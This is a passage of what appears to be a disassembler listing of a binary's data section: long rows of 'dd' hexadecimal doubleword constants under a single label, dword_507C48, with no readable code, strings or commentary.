0C1A4D10Eh dd 966A08CBh, 10F2A88Ch, 0DE503139h, 8A001EE2h, 41871A4Fh dd 205FD2h, 4ABDD4B1h, 8B5C4DADh, 931BDE18h, 40700EF0h dd 48C6DC6h, 12CD7B06h, 20FC627Dh, 857B19BAh, 8646B001h dd 92157EC7h, 0A8B1509Ch, 0CEC00BCh, 602B759Fh, 6D008517h dd 96AAF750h, 3004513Fh, 15299418h, 0CA1EF2A8h, 1681C06Ch dd 96CFBCF9h, 0B4AA9886h, 0DA0029F6h, 1533C8CCh, 1D99E9D9h dd 18E882BDh, 0D4FD21C3h, 0CB69C807h, 5550CA83h, 15C183Ah dd 1E01B165h, 0FDDE9A94h, 54A98AC0h, 0F20C9C0Bh, 33A40C4h dd 0F6DD7AE8h, 8123C262h, 0C8E700C7h, 0E8311508h, 54C74486h dd 92C8D01Fh, 3649F140h, 2EAEF67Ch, 3DF7169h, 8C55941Fh dd 99166838h, 62383D67h, 492DD4E0h, 0CC005898h, 11C2F385h dd 880E226Eh, 8C21B669h, 2921F0h, 543DF36Dh, 0B8FD179Bh dd 1201410Ah, 4041A8B6h, 0B0C7D19Fh, 6C31769Ah, 0D068F0D8h dd 0F391048Ch, 388E11B6h, 0F37900D5h, 61AFE243h, 3B3DD005h dd 921BB8FEh, 40EFAC4h, 9F1620DFh, 2ADC3F0Bh, 74A48C89h dd 0F20318DBh, 0B32511C1h, 3D9B5700h, 44F6F510h, 49F87448h dd 7E005C0Eh, 0ABD757BBh, 13093790h, 1F1C2F0h, 98520808h dd 0A3969670h, 0A404C39Ch, 3C4233Eh, 0EC16E5A2h, 0D10C81ACh dd 0C1640760h, 84087C95h, 7B08C087h, 0D4812E7h, 34CE0FCh dd 468147Bh, 3D81C017h, 9FC96508h, 2221CCC0h, 74EC16F8h dd 0AB460C8Bh, 601AF11h, 0E31554A4h, 24400A1Ah, 9D67073Ah dd 0A0A060D0h, 0CE492470h, 1BE234Ch, 150FC8E8h, 89DE1839h dd 124B00C9h, 0D74D0034h, 8CFD9627h, 4E004577h, 0C907FF5Ah dd 0A8017A2h, 0C63FF779h, 14731DCCh, 0E68034BCh, 49150DC8h dd 57C08091h, 1C2DC8CFh, 45403C97h, 206DD65h, 8F81DFB0h dd 0C4112897h, 28A90580h, 0CD285211h, 24018010h, 76DB8801h dd 38229443h, 0BE010623h, 183D9C57h, 7F881118h, 855702C6h dd 0A12E0EBDh, 44EB9040h, 0B0645930h, 0AE9D316h, 0F8883D6Dh dd 80C311B8h, 150CC8CBh, 0C0E942D1h, 0D9C8D3F8h, 39320062h dd 9A759441h, 6A26F147h, 0F988F089h, 0C48038EDh, 0E6549831h dd 6400BC25h, 627AB2F4h, 3A794CA4h, 780349BEh, 0BCF5EEE4h dd 0AE5CE100h, 31A2769Dh, 5E3C0FC6h, 0D5897F25h, 0F3828830h dd 483CF8B7h, 2CB0F021h, 0DF00F36Ah, 0B1894A6Fh, 40DF925h dd 0B0211186h, 6158C1FDh, 0D2589122h, 0B0F38380h, 0CFF9E11h dd 6BD788C8h, 0E55FF301h, 7F3DEFAAh, 0C8F2D422h, 91525D30h dd 1EE02684h, 9AC1403Eh, 0CF3A7CC8h, 9C0428A4h, 8611BFF3h dd 0D620ED62h, 1E73F384h, 96D9E56Dh, 0DF8600E9h, 895E7D99h dd 0F29C6252h, 37FE30C8h, 2A62270Ch, 3519DFh, 2846495Eh dd 0CCEF1A07h, 3C6B5D01h, 3D5599Ah, 18922C20h, 0D9ADB1C5h dd 0FA0040CFh, 0F45881ACh, 10DBAC9h, 0DE323DC7h, 33275293h dd 300BA2A4h, 89E07411h, 4280A400h, 94AF67DCh, 1C9C24A6h dd 3BD1CA0h, 0DE2788ECh, 0C8146E0h, 0A0B867F9h, 0FF3BE70h dd 305216D3h, 0C64DE180h, 830A580h, 34F4581Ah, 0BD6A0028h dd 2B0B4860h, 9045077h, 97A942AFh, 8C6ABCC8h, 0CE13A8B0h dd 0BC62D512h, 1C5520F1h, 6009D7Bh, 0FE8439C6h, 5266B27h dd 0E58F9ADEh, 0BDC08093h, 6429DBADh, 0F071304Eh, 0A1FA018h dd 80BD8E2Ch, 7ADFC9AEh, 2AA92686h, 0FC9332h, 0CD33B5D4h dd 97EB2916h, 1061D1h, 36D3385Ch, 928B7F1Ah, 2CE4660h dd 11B4F39Fh, 40F433BEh, 0FDF387D3h, 90150BC7h, 2C0FDB7Eh dd 0CE09B1C4h, 0CF0F887Ch, 0B153E882h, 801740C4h, 6F006E6Ch dd 5478EF64h, 86C20081h, 106973E3h, 0B6777639h, 943A1B13h dd 3506B46Bh, 0D1F28E17h, 102CDB28h, 980F5D2Ah, 0D78CDD00h dd 0F0C3E36Ch, 9E1C013Dh, 5FA67586h, 4214509Ch, 0FF1D76EEh dd 97C0BF55h, 1503CBB0h, 0B33E12A9h, 0C8648B4Dh, 8B30C0F1h dd 533FA316h, 8A18584h, 4D81AB03h, 0B981DC0Ah, 1AA8130Ch dd 0D9C04798h, 0BDE3F380h, 0A4A893B4h, 9D00DDACh, 282E362Fh dd 3AD21D9Fh, 4CCFC80h, 4B12DC06h, 0E44F992h, 0CC9900ABh dd 8C98C70Bh, 0D304B98Ah, 0B485160Ah, 8314C8h, 0DB48302Ch dd 0A3387142h, 6E416D00h, 8621268Dh, 0FA6000B8h, 0BFE5F2CAh dd 50E7650Eh, 0AE08B0D0h, 6073D01h, 0B40C4089h, 0FF014033h dd 3533F396h, 594FC4F9h, 0F6FB3800h, 0ADC42BC7h, 0B0F0482Eh dd 2F9AF060h, 16251505h, 975C1261h, 80F21164h, 0C42AC6CFh dd 0D2B4016Bh, 0AD4AFAE4h, 0AF96F0BDh, 28943D20h, 53A39AC5h dd 7A1E84Ch, 6A0CECh, 60B94134h, 0DB313B59h, 0F65AA703h dd 5860816h, 417111C1h, 0C67480FCh, 0CA5CFD7Eh, 0E9084C04h dd 36D630FAh, 0AE3954B0h, 2278C8FFh, 39110C96h, 0EA68E9ACh dd 0C4002098h, 0B37FB519h, 264AF902h, 9941225h, 106471F1h dd 0B9841A74h, 18F259DCh dd 667F00DDh, 699C53F5h, 0E003D317h, 9FDEB39Dh, 0B1E812C4h dd 580443A8h, 0ABA882BEh, 12908B85h, 1EF8C100h, 43CBC5F0h dd 33E34BD1h, 8AE913D8h, 793201C2h, 30D35452h, 0BB10F380h dd 0DAE06611h, 5300F368h, 89A90F8Bh, 71772E6h, 90C8E9DBh dd 0F2603C86h, 7684AA14h, 5131D90h, 8D017E5h, 0EF60EC02h dd 4C65C88h, 0F50CB3FFh, 0F8349014h, 7E00E21Fh, 1EC7471Dh dd 0E608559h, 0BCE85261h, 9E7AE020h, 9A0BD2FEh, 888B375Fh dd 465EC868h, 4F7A00CFh, 8C8B0409h, 32D818F0h, 53121DBh dd 0C1C9703h, 8867C8A4h, 1C61C7CEh, 41DFB90Fh, 0EFF4E07h dd 0A75024F6h, 4AFD4012h, 0C623543Ah, 2A71CC02h, 0AB31E19Ah dd 7A5F5085h, 0C834CBDCh, 1CEBC029h, 7200464Ch, 77D1B0D6h dd 9E0BDD13h, 7C9C25A4h, 91380D30h, 0F909655Fh, 1AC68C70h dd 38B0320Eh, 0CF442C47h, 8A662860h, 0D7DC0C02h, 0E69349E6h dd 79E0B978h, 0B0FF19C3h, 1552D33h, 0EDD7511Dh, 0ACFBCD44h dd 4674CCD0h, 0FBE30128h, 19D8DA8Ah, 86E860EEh, 25F2C84h dd 800711ACh, 3D9F57BFh, 28F84EB0h, 0C7008298h, 17912557h dd 2009BB68h, 0B098F289h, 12CB7627h, 112C15C4h, 9E6A800Ch dd 9045EDEh, 38132A5Ch, 0C311F89Fh, 0F17A2381h, 0EDA421FFh dd 2EC9E818h, 48C6658h, 9ACCAF77h, 4F070C93h, 10202769h dd 1DB384FAh, 0EED33B13h, 0C823343Fh, 381C0512h, 980207D0h dd 0D30D5A76h, 46542828h, 0A9BD16C3h, 6C04D607h, 4AAFB1ACh dd 5F43h, 0DE990BA3h, 6C90D947h, 1554F2E8h, 920077B4h dd 0BD5A299Ch, 0FA13351h, 8127AF4h, 0D6A0D26Fh, 0E0840AC5h dd 0DBC0DF00h, 0F23904E7h, 8041C019h, 170D7052h, 7AF19B1Dh dd 0F52259C5h, 8B01301Fh, 0D483893Eh, 38FAC8h, 0F3500439h dd 0CC9CD088h, 1747BD25h, 6C6BFF8h, 0AA7DD39Bh, 853C16A4h dd 0DBFC80E5h, 0A91FB57Fh, 4064E4EBh, 0BC601C64h, 3D238257h dd 0B1148h, 0D957C485h, 149CA57Bh, 8A465520h, 0FA12E205h dd 0EA408C3Ah, 588001F1h, 1C6C8BEh, 1506C8CDh, 0F022E881h dd 0C8D5FAC2h, 72BEBBE0h, 1AEB690Eh, 3A7C2033h, 4D38FD05h dd 0A91650BAh, 0FB1CD34Ah, 2FCC1FA4h, 31C5D1C0h, 0F4999132h dd 0FE11FC3Eh, 9857563Bh, 371B9B5h, 0B2D800E5h, 41A1FB43h dd 6E0EC76Fh, 0E0E23AF3h, 1F6072FDh, 97AF2419h, 0A5804020h dd 60987590h, 0C8339C00h, 76F0159Ah, 1F8DC2Ah, 0DB41AAACh dd 23A02DEEh, 7B0C0F6Bh, 622D12E4h, 74821FDh, 0B7E1D47Bh dd 8F0C13E0h, 708374A5h, 4081821h, 11C3681Eh, 8DA95114h dd 0DDE70C84h, 0B36F197h, 0EB5E397Ch, 5CAE90Fh, 57B5C0F4h dd 20213D9Dh, 21091F5h, 9A57BD80h, 2E88E0ACh, 9392011Eh dd 0F8B18B87h, 0A108F4AAh, 0DB00D4BAh, 0EFF98664h, 6E173BD5h dd 0BBA619B9h, 0EF9071EEh, 0F37A270Bh, 0C7FCC832h, 43110120h dd 3DFEE9Ch, 86D0C0BEh, 0C8D16499h, 3F165618h, 5840FD59h dd 1DE3CA7Ah, 0F0D0C9B0h, 8ED0BC10h, 75585300h, 74A2CBFBh dd 0B08073Bh, 21EC2E5Bh, 243DCAF0h, 0BEFAA55Ch, 7C96CF01h dd 0F8FD069Ah, 9E7F8630h, 18FD5C70h, 7CC20028h, 0AD5E751Eh dd 0EC4C89BAh, 0FC28D098h, 11440FABh, 0B03862F0h, 21C0CA2Dh dd 0B7BB7CFCh, 69960358h, 23C25B86h, 224D0BE0h, 0AA2DAF79h dd 32702498h, 9010A0B4h, 9DE20019h, 46B70339h, 2200E519h dd 0B4B5B05Bh, 50E414BDh, 0B81CB005h, 5CB8A8E7h, 0A407026Ah dd 85BEC86Fh, 0CF44D867h, 11125360h, 0DD902B07h, 4261870Eh dd 347DC0BDh, 8152E805h, 418C815h, 0AC0BAB0Fh, 0B5904286h dd 0D308F9AAh, 0EBBF60FCh, 0EEE00148h, 557D3DBCh, 34202A38h dd 20BDDB85h, 0D54F95C6h, 2E791C21h, 7FFE12DCh, 5E609E10h dd 9C03FB46h, 170F5D7Eh, 0BDF56D80h, 48C69C2h, 4DAE403Bh dd 0DC9C32D4h, 1C72210Ch, 1FDD1C12h, 40361082h, 0A2D874D6h dd 798CF980h, 2418F6h, 0B08D1030h, 63021CCBh, 220C4A01h dd 0A98FDD3Bh, 3F09688Eh, 80910EC4h, 0FA8E7A38h, 0C7A08000h dd 0BB52A821h, 7436F968h, 72A3E0F7h, 933E043Bh, 3D3F1B88h dd 9240C969h, 0E09AD850h, 657037Ah, 0F53A9ED9h, 68268DDBh dd 0B640F85Dh, 25100169h, 4040AA4h, 57506719h, 0B1C03D81h dd 0A984C070h, 0D0003657h, 0C3BB492Eh, 913332Dh, 9D4D7AC7h dd 50EA5841h, 0AA3FAFD4h, 6578E969h, 0EDFBE284h, 5D2EE18h dd 10CE12D5h, 0FE208137h, 6D8000C4h, 91187D0Ch, 18C2D96Ch dd 0E6200B2h, 0A810BF9Ah, 0DCA8F54Eh, 953DB7h, 0F80874A8h dd 937B0250h, 1A0916D6h, 0A1111454h, 63D54205h, 0F0C4C60Ch dd 0E1574132h, 4F3C40B5h, 2808B01Ah, 68C88906h, 74BC399Ch dd 0F3011046h, 0B54D8F7Ch, 74F88079h, 4EEA3345h, 59E2F317h dd 80E1174Ch, 360EFE80h, 0C4A1D1h, 0A1276995h, 378B96E0h dd 0A0B18D5Dh, 0FBC95783h, 0B998D404h, 0C0CF0732h, 12C0C3C8h dd 25036147h, 8827B4C4h, 2C52D02Dh, 125C985Eh, 16049DDh dd 17CCE89Fh, 85EEB875h, 18F2EC64h, 7204600h, 55E688C7h dd 78D45D26h, 2833508h, 0DD76999Ch, 625E84F8h, 0C623F82Eh dd 0C793200h, 60DFD699h, 0DB6948B9h, 80DF9FC6h, 0D8A3DE04h dd 5028C8h, 9A745F75h, 47F41A30h, 0DCB73A0Bh, 4748AAFh dd 0F7BAA11h, 4014EF69h, 5DD0C817h, 4218A60h, 0AEDB2Ch dd 4544D8AFh, 0BAF4AB12h, 9F13DAE6h, 0A8202D96h, 19F5F1h dd 0E674CE49h, 0BBF0800Bh, 6B1390A8h, 472DF800h, 82345731h dd 6A0B0099h, 0F9AEB7D4h, 5C25BE37h, 0C4604570h, 0A32A60C3h dd 168000DDh, 0E63C3AB7h, 884847F0h, 0C00A8864h, 3D8057BAh dd 2A22B846h, 57C28301h, 76CD531Bh, 41C49289h, 0A61C2C64h dd 61C0B17Ah, 0B96FE1CCh, 7F6A00C0h, 0AFFBEFDCh, 9CA89396h dd 9C000BC7h, 0CB999B45h, 9BDFEFFh, 1604E53Dh, 98AFF4E8h dd 0C499D0h, 99113FA1h, 94DC8DB6h, 0C465CECh, 0C8459100h dd 29646B58h, 97606A64h, 0CC0B8049h, 3DEF0448h, 89AEE230h dd 0BA1E3Ch, 4E97A225h, 8201F619h, 4837525Ah, 80042074h dd 0F26CB257h, 421230C2h, 0DA2BFB03h, 0F582F0CBh, 7843B4E6h dd 0B7C8E0F0h, 979D7600h, 0D02111B5h, 52C98F4h, 27369AACh dd 88EC8E62h, 1B6AC0FCh, 58B087A0h, 2CEB302h, 5E73846Fh dd 4A02D658h, 0D816925Ah, 0EF54C4BAh, 9C249AE1h, 208800AEh dd 0D52B2667h, 137A36C3h, 9A390406h, 0B9035Dh, 628AB5B4h dd 79EE1CA8h, 75EF3600h, 0F9546422h, 0B67A006Ah, 329AB013h dd 45BD682h, 2BEC7047h, 0AC4BDEB1h, 64C40B2Bh, 0B0671C42h dd 0AE632A64h, 0DC8F4EB0h, 0CDD95F13h, 39C88h, 1C525D15h dd 7F88D76Ah, 9C098C90h, 0D0017EC7h, 7030BB0Ch, 353BC197h dd 6AD0124h, 0BDEEE5F1h, 0D8E6C0h, 79366E57h, 0B59B8B74h dd 1CDC882Eh, 713101DCh, 723B2FDh, 0ACC44185h, 0A4042A51h dd 8B259AB8h, 0C2FE88D0h, 6CC0BF33h, 68008CA8h, 86E6179Dh dd 0C09642AAh, 0F99B7A49h, 7B167EDEh, 308FC060h, 0A8C00D88h dd 501C3D08h, 400FFCFBh, 37045FB4h, 0F58780E6h, 0C112CCDBh dd 33DCB109h, 33C1A254h, 35BEB188h, 0CE9FA602h, 41DF5AF0h dd 522AB7F4h, 23C82E70h, 0C19B1D0Bh, 9CA75054h, 0A8F421B9h dd 1C16602Eh, 88C03185h, 191B023Fh, 10C577D5h, 4E407004h dd 79F59812h, 963410A0h, 8CEC099Ch, 242004E4h, 5BB0218h dd 6D7D5F94h, 8A005C74h dword_507C48 dd 0D014DC41h, 0C8ED55FAh, 28ACC42Ch, 6E753E8Ch, 0DCAC080Eh dd 7961C7C6h, 0EE020h, 0B59A5FBDh, 40B63B76h, 4CB014Ah dd 0D8C00BC8h, 2DEE578h, 41DD42EFh, 0B4E9B17Dh, 4625Ch dd 0A058B325h, 4B24CE62h, 2F4C203h, 0C4C4451Ah, 0C62D602Ah dd 4CB25C1Ch, 3D2C9501h, 3EF0D2A8h, 0ED463801h, 0C80ECE75h dd 5665C0C2h, 0D2277D2Dh, 2CF4C8F5h, 289A00C4h, 133706A1h dd 1D00E905h, 0FBF83B0h, 2712E887h, 0E840B51Ah, 31102B3h dd 625F3A14h, 0B423D304h, 8B2101AFh, 0A647DF1Dh, 82A07DFFh dd 61EA8066h, 8214C1CCh, 0F308408h, 6580C97Bh, 5780D865h dd 4EC07B06h, 0B06C00CAh, 11A13022h, 65165F5Eh, 8881618Dh dd 407C7CD5h, 0B8CC3B8h, 0B1DF7B22h, 4D2FD402h, 0F6DCB876h dd 75172ACBh, 6B8500A0h, 9815D955h, 4BA1DBAh, 6573AC27h dd 60D1C494h, 126E9Dh, 0FE4238A0h, 5B1C43E2h, 0B7A10160h dd 9335F4h, 4D96DDF1h, 0F7B812A0h, 4070E096h, 5839C149h dd 9C14454Dh, 0B54D3F20h, 0EC28A822h, 4AA323B0h, 9882783Ch dd 708C051h, 2E66008Ch, 59237F91h, 61E2B0ECh, 0AA8A1D00h dd 3C8ECDA0h, 7FE91F8Fh, 8DD8018Ch, 80F9A31Ch, 6328AB10h dd 355F1CDh, 0CE2EEBBCh, 0DEA062E4h, 0A607868Dh, 0FA01770Ch dd 37F981E3h, 0F1217209h, 0F0690C9Eh, 1200E678h, 8CA9E880h dd 60CB16DCh, 6FFE988Dh, 4A299023h, 0F2185C10h, 768C21h dd 7CF7F023h, 0ADF62589h, 0E6065117h, 6838F50Ch, 70AB7566h dd 99570061h, 60BF507h, 13398C7Eh, 3853C00Fh, 2480C3F1h dd 0C7388160h, 9C983DD7h, 0B430A002h, 8172537Eh, 7324BA88h dd 0D8DF9411h, 69C03A6Eh, 0DBBDB9CEh, 20BB2EB3h, 88B18C3h dd 20C0DFE8h, 6BDC1ECh, 1D02064Dh, 48FB033Dh, 8FBC4303h dd 3F2D70Dh, 49AD9010h, 39863C9h, 0C502D841h, 0DFC17186h dd 0BA38907Ch, 46B3FEBDh, 0CF22C3h, 0C0BDC2EBh, 76BE310Ah dd 0DE62900h, 53848CBBh, 58E561B9h, 56C8AE77h, 812070A8h dd 2C5506E2h, 0F8ABFF85h, 0A5661B06h, 288037h, 79C72DDEh dd 0DAFA07BFh, 0A20CCB19h, 21802808h, 379DFC6h, 0D90FFA31h dd 80AFB07Ch, 6F0B52F6h, 0B4DD03EDh, 7F052938h, 24BBDFE0h dd 80EC1728h, 91849805h, 1DC26B0Ah, 4084CB6h, 4AA62375h dd 20FA62C0h, 5F237C9Eh, 0D1B27FEh, 0F250C9DBh, 0CE5C8EE4h dd 30C089E8h, 110CA454h, 88AA0165h, 9CA0809Ah, 12DAB60Ch dd 0F6E47007h, 0F430F307h, 0C03CB2B7h, 0D4151C8h, 3D00B531h dd 7B09EB6h, 602ADA62h, 46067984h, 0DB122194h, 7419E677h dd 8F18BD88h, 16E0C08h, 0A7A570C2h, 0ADDB0C0Bh, 1B7700B5h dd 0C12FCE9Ch, 814B8348h, 0DDC40DDh, 8A0328B7h, 0FAC38B0h dd 3964A85Fh, 3B88910Bh, 9FAE150Ah, 260206ECh, 7C002837h dd 0B3BC5C3Ch, 14421598h, 0DDCF8DF6h, 6AA2DD01h, 91A85EDEh dd 829CC7B9h, 0B2016C0Ch, 0CF109E31h, 97020CA5h, 91EC1B55h dd 5D1C60EFh, 0AA09060h, 0D7B71C8Eh, 80DD04D4h, 200C4F86h dd 0AAF6C5C9h, 520B85Fh, 3ECD9B17h, 0DD6403E0h, 31128C4Bh dd 903A328Eh, 3F01E823h, 0F3EC8A2h, 15612C40h, 80704DE2h dd 0D6270C08h, 0E847130Ah, 798F368Ch, 3FF90A68h, 20B88BE1h dd 39CD0FC4h, 6F8286C4h, 1041DAB5h, 0F39834Eh, 2BA406h dd 0E16D7768h, 0F35B04B9h, 70112899h, 0C4BDB680h, 0F09163B3h dd 0BDBEF7C0h, 7CC10019h, 0CDF66F48h, 0DD39A510h, 69793052h dd 301ED3B6h, 6FD0776Ah, 0F12118Bh, 88322903h, 0CA330C1h dd 0A2016A14h, 9BB9E0E8h, 703F040Ch, 0C2256EC1h, 242ACE20h dd 0CCBD5404h, 0F91394C1h, 4116B900h, 0CD9C7E1Bh, 0EFEF3F8h dd 0EC71BE31h, 0DE725E40h, 7E0540AEh, 8C5B13D9h, 61342802h dd 61B0428Eh, 2F77314h, 7EB366D9h, 0E5057277h, 1C752C88h dd 0C0029E56h, 84F25A4Ah, 1A079DA5h, 2801E9D7h, 39879B30h dd 0A4E1540Ah, 91CD6016h, 857CA69Dh, 0C76E8F06h, 1B89AF13h dd 6191070Fh, 3900E9EBh, 0ABA27C0Ch, 0ECF2272h, 53C5F9ECh dd 5A45C080h, 0B9028499h, 4D75C697h, 0A0809246h, 1B3CBA1Ch dd 8290A2F6h, 649ABF70h, 729E46B4h, 7C67908h, 442AC4A2h dd 0C4C0B6CDh, 0FC1788DFh, 74E802E4h, 0E32D5383h, 0D9F90860h dd 0A88ED02Ah, 1F7F4E1Dh, 0B45AB807h, 7813F73h, 3A229778h dd 0E998060Fh, 494FA109h, 0DF60003Fh, 0B2FE34B7h, 0E0850018h dd 0E43DF966h, 0CB8C9EFh, 7865BB26h, 3262FD08h, 0D1309BC8h dd 7B91179h, 813488CAh, 7A79C9CCh, 1CD6E026h, 5F095406h dd 3802789h, 870B8F2Eh, 100033F9h, 0BC421F2Ch, 7F6C215h dd 24B5A13Dh, 0EC030BF7h, 0C2B51DDDh, 9031BC48h, 4C013870h dd 0CCE0B0CAh, 1C000CA8h, 0C0CE61B3h, 58DB362Ah, 9D105838h dd 81181A29h, 11D41DB1h, 2FD1802Bh, 2F131FCh, 16B3A876h dd 2CE8861Ah, 60999422h, 8618E779h, 650F5B2Eh, 4F01C930h dd 0B03A6181h, 3065E711h, 9E405A68h, 197F2667h, 60B316E4h dd 91236AACh, 11684A23h, 6D8B00F9h, 0BFD3D623h, 0AB3B0EFDh dd 0A2CA151Dh, 460102B8h, 0A06CE23Ch, 188A4A20h, 0B1E068B2h dd 8EB023C5h, 8CCA3209h, 45DF005Ch, 0FECE70BBh, 7B49120Bh dd 231C2F1Ah, 251C29h, 0B999133Fh, 9C25017Dh, 0AB5C1089h dd 0A99D0FE5h, 8892C266h, 54937E60h, 0D141D0h, 0CD3B73BAh dd 0B56E157Eh, 0E3273C3Bh, 23611A58h, 0D8019CC8h, 0B207B879h dd 0C3883618h, 3F7905B0h, 8656AF0Eh, 8D1C1914h, 7D048BBAh dd 0D8D52CB5h, 9A88B4CBh, 0BA02D8C0h, 1D6107F4h, 550359A4h dd 80CC4FE1h, 0F9F36CE0h, 21015CEEh, 1D077489h, 0A827A6C3h dd 9101BB23h, 9201680Ch, 0A9A3070Eh, 0DF80190Ch, 19C3E64h dd 0ECC21A9Eh, 224AD361h, 790B0458h, 0E0C8E4BEh, 0D34900E5h dd 0C06364B8h, 7101F0B5h, 0A0041555h, 97D0DDE9h, 0B611318h dd 0E57C023Ch, 0BC82D003h, 7842128Bh, 0D211A49Dh, 1182AA81h dd 23A5CCEFh, 0DDF27E00h, 6D768D18h, 9C6648D9h, 8CFCF8h dd 0DFD0AC81h, 0A9961EB3h, 0AB26C4B2h, 0B504C826h, 2081C7C4h dd 4205EDE7h, 0D2920EA8h, 6CDB9405h, 449E5480h, 2E488F4Ah dd 8C9DF81Ch, 0DAE72800h, 54771EAAh, 97C1009Ch, 0E28810DDh dd 6D50DE6Bh, 0BB0AE7E8h, 0C4FF933Ch, 55407CAEh, 49C785h dd 94F49CBCh, 0E0B876F7h, 0A881ACB2h, 9C7418C9h, 0C985454h dd 618F9F0Fh, 390A6FD4h, 6818B548h, 4A268FF6h, 99736818h dd 0BDD02373h, 0BF200EDDh, 489696ACh, 48A4E380h, 97CB7C26h dd 8091917Ch, 4750F3FBh, 0B395057Ch, 0D273634Eh, 0DB208C58h dd 77970B43h, 0FD5F2A36h, 9677A9Ch, 0E865BF46h, 7591BC17h dd 46EE1683h, 870ABDB0h, 2E9C9959h, 28310595h, 0CC320C3Eh dd 349FE840h, 8111D768h, 9C36E0h, 169839BAh, 26688584h dd 31003C3Ch, 0A945905Eh, 0B85D4E3Ah, 41B70115h, 0E055B643h dd 0BD04052h, 0C14E51B8h, 0EA23942Eh, 1D39AF07h, 4688D8AFh dd 23F260Dh, 0B2FB0248h, 9852BCAEh, 500FAF01h, 1FE84336h dd 0FE9B28ECh, 0C3203332h, 21005A08h, 9C1FF06Ch, 1F52F469h dd 4E5E3CAh, 28B80h, 0F1F62FA3h, 0EC841719h, 9CFF0C52h dd 21C03708h, 74F1EECDh, 0EEE09D42h, 9403158Ch, 65AF949h dd 45680CABh, 6431FF2Ch, 8008A56Fh, 6ED98E94h, 57E0000Bh dd 0F19387ECh, 0B700FAFFh, 36225E85h, 3286E82Dh, 9D98AD84h dd 0EFF1F330h, 3118D4F9h dd 1EBC688h, 0F03BB9F1h, 8705D745h, 3F27EF19h, 4B46E08Eh dd 0CF10115h, 0BDECE4CFh, 0A500E68h, 0D4183760h, 2A19A2C8h dd 0A8594098h, 78F1A30Ch, 50C832h, 0F3420556h, 5C233FCFh dd 86FB737h, 8C215Ch, 0A0CC421Dh, 37263E5Ah, 70C619C0h dd 0C057A9B0h, 90DBD988h, 4C16E230h, 2F100F09h, 1FEEC0E4h dd 878B2896h, 1FF66A00h, 1A9C299Bh, 192D45EBh, 40ADB804h dd 68AEE08Ah, 42D83C59h, 0BDC88700h, 0A74D64E8h, 28111201h dd 43793334h, 80C8A19Eh, 7201BDB0h, 81005854h, 8592268Eh dd 0E4D7ED1h, 28250D68h, 7671512Ch, 5A05210Eh, 976641B2h dd 0E06B912Bh, 0AB1498E0h, 23E47694h, 0F1F50183h, 18C48404h dd 0EDC08833h, 0F6E3F101h, 0E9B9C9FAh, 23D3FDE9h, 0F2019C48h dd 0CC8405F1h, 0C1883518h, 0FBF100EAh, 0B7889AA8h, 0CA0A0CD4h dd 0F08720E4h, 0CFF0F603h, 10ECC7FCh, 28FBF614h, 0E0C8DFF8h dd 0F5FA00EEh, 0B3867BCFh, 18C004BCh, 3DD1E1B8h, 264B0458h dd 1F3B94DCh, 4831580h, 24DD8409h, 0A1C58C3h, 80945C2Fh dd 7EE52739h, 0FC00B647h, 0D283D8DFh, 121C0ACh, 0E3617BE7h dd 2076E236h, 10904913h, 0BB89790Fh, 0A828260Eh, 84FA0049h dd 57D07CB4h, 8830FEDFh, 35F8F13Bh, 742B0048h, 76A66B33h dd 0B39CF7Fh, 180483Eh, 1A36C74Ch, 10245C67h, 0EE9538B0h dd 4FBAD981h, 0A972D103h, 9B0F2008h, 772FE09Dh, 50F0D4C8h dd 641A9483h, 8750215Dh, 4C0C88Ch, 46CFF242h, 5B2237h dd 4C421C73h, 4B9E1554h, 0CA75958h, 840DF38Eh, 0F6A329A9h dd 42020A28h, 282714D4h, 8D805F88h, 48B9421Ah, 80CF002Dh dd 0F4EDE282h, 0B8094D2Bh, 115397DDh, 1918FDE0h, 0CFF74208h dd 4043C41Fh, 0C6421170h, 565226B3h, 2021121Dh, 3A27E13Ch dd 6E4E1000h, 0D90D2854h, 504F4832h, 0E8018623h, 9C841BF1h dd 0CF882818h, 0A6F10EE0h, 0B880582Bh, 0E668F72Ah, 0F4246B04h dd 2C8001A8h, 48FA50D6h, 0C6130843h, 0EA140836h, 951FE9C0h dd 22934628h, 0F16D015Ch, 0BA1AFB1Fh, 0FCB0404Eh, 0C414C9F0h dd 10E88064h, 9785DA3Eh, 599C0005h, 965AFDAFh, 9248D60Dh dd 3884806Dh, 481E8DCh, 52405B64h, 88066B76h, 0EC013C02h dd 9DACF6DFh, 80351188h, 631E177Ch, 6E5F0020h, 5124E2ADh dd 0D1C2542Fh, 602D1B7Ah, 0EA8D441h, 4E79CDDAh, 0D13E13C2h dd 0E2ACF090h, 0CFD30B06h, 635C23AFh, 487041ADh, 0A8B153F2h dd 8F518EEh, 0F328991Fh, 61405DC4h, 0A8C71FFDh, 0FB3FA7FAh dd 99E04C38h, 0B0261D50h, 0E9EE9402h, 0B531A2D9h, 0EE9C9A10h dd 7AF4C600h, 0B968D8F2h, 0CF3B02E6h, 5880DD35h, 814684C4h dd 6F1F70Fh, 70A4F4CAh, 0F100EFC2h, 86C138B1h, 38B21169h dd 385C4CBh, 2067AD80h, 0A24094DCh, 1C61ED0Fh, 47B9C529h dd 35F28C02h, 44DC679Fh, 378D6028h, 8808011Fh, 7DDC620Bh dd 6C682077h, 10282C40h, 66DA180h, 79CCC53h, 0BA030418h dd 8070D025h, 548897D8h, 67585963h, 0F5B10351h, 5C20B4B7h dd 0DBAC81Dh, 8030AB5Ah, 0B025E137h, 0D20B9E4h, 4138587Fh dd 44A05B70h, 88E4CEE0h, 8DC8C05Bh, 0F8025E5Dh, 614EBBC1h dd 3A28E01Ah, 0D4278040h, 0C8C16470h, 377F8CA7h, 0DC6F7183h dd 9007AE08h, 2C46773Ah, 0ECA3985Ah, 17A278h, 9BA5AB64h dd 65E4B21Fh, 780F5E40h, 546B49A3h, 4AED4850h, 5F0C7C2Eh dd 7830FB8Ch, 0D60CB849h, 234C3A49h, 5B94005Dh, 0C8F4278Fh dd 0EA019092h, 11304680h, 79115101h, 0CC9FD278h, 8D0A463Dh dd 6B802D0Dh, 42948013h, 40DF8F7Ah, 2DD5138h, 2A22CAACh dd 196005B5h, 335095A8h, 81FBA3E0h, 22203659h, 0EE83553h dd 54CC1826h, 0BB0DC02Dh, 34287728h, 30640C04h, 4481751Dh dd 3C0076B4h, 0C4A103EFh, 3D88116Dh, 406E4C47h, 9770137Ch dd 0CFB30015h, 0FE282248h, 604A07Dh, 78DD3607h, 0CCCBCCD5h dd 0A4C034C8h, 909F7494h, 84E04C30h, 1DCC1211h, 0B829E379h dd 961859F1h, 6ED4E71Fh, 2EE17E00h, 6714D1h, 0F3B493A1h dd 58FC270Fh, 0A808F492h, 95769B0h, 2C01A77Ah, 7031134Fh dd 